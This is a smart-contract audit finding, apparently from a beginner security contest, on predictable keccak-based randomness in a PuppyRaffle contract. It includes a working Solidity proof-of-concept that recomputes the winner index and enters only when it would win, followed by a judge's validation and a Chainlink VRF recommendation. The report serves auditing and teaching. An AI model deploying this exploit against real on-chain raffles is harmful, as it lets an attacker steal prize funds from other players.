Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Randomness can be exploited to win all raffles

Summary

Blockchain can't produce on-chain randomness.
A common but dangerous way to simulate randomness is to encrypt multiple variable with the keccak function.
But as blockchain is deterministic it can be exploited.

Vulnerability Details

selectWinner() function use fake randomness two times:

  • to choose a winner from the players array => depend on msg.sender, block.timestamp and block.difficulty

  • to pick a rarity for a puppy nft => depend on msg.sender, block.difficulty

Both could be exploited but as difficulty is deprecated in Ethereum since the transition to proof-of-stake i'll only show an exploit of the first one.

Impact

A malicious user can create a smart contract to reproduce randomness and choose to enter a raffle just after the end of the duration only if he wins.

POC:

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;

import "../src/PuppyRaffle.sol";
import "forge-std/console.sol";

contract AttackRandomness {
    address owner;
    PuppyRaffle puppyRaffle;

    constructor(address victim) {
        owner = msg.sender;
        puppyRaffle = PuppyRaffle(victim);
    }

    receive() external payable {}

    function attack() external {
        require(owner == msg.sender);
        require(
            block.timestamp >=
                puppyRaffle.raffleStartTime() + puppyRaffle.raffleDuration(),
            "PuppyRaffle: Raffle not over"
        );

        address[] memory attacker = new address[](1);
        attacker[0] = address(this);

        puppyRaffle.enterRaffle{value: puppyRaffle.entranceFee()}(attacker);
        uint256 playersLength = puppyRaffle.getActivePlayerIndex(address(this)) + 1; // last to enter so array length = index+1
        uint256 winnerIndex = (uint256(keccak256(abi.encodePacked(address(this), block.timestamp, block.difficulty))) % playersLength);
        if (puppyRaffle.players(winnerIndex) == address(this)) {
            console.log("WINNER!!!");
            puppyRaffle.selectWinner();
        } else {
            revert();
        }
    }

    function onERC721Received(
        address,
        address,
        uint256,
        bytes calldata
    ) external returns (bytes4) {
        return
            bytes4(
                keccak256("onERC721Received(address,address,uint256,bytes)")
            );
    }
}

Tools Used

Manual review

Recommendations

Use Chainlink VRF to get a "true" random number

Updates

Lead Judging Commences

Hamiltonite Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

weak-randomness

Root cause: bad RNG Impact: manipulate winner

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!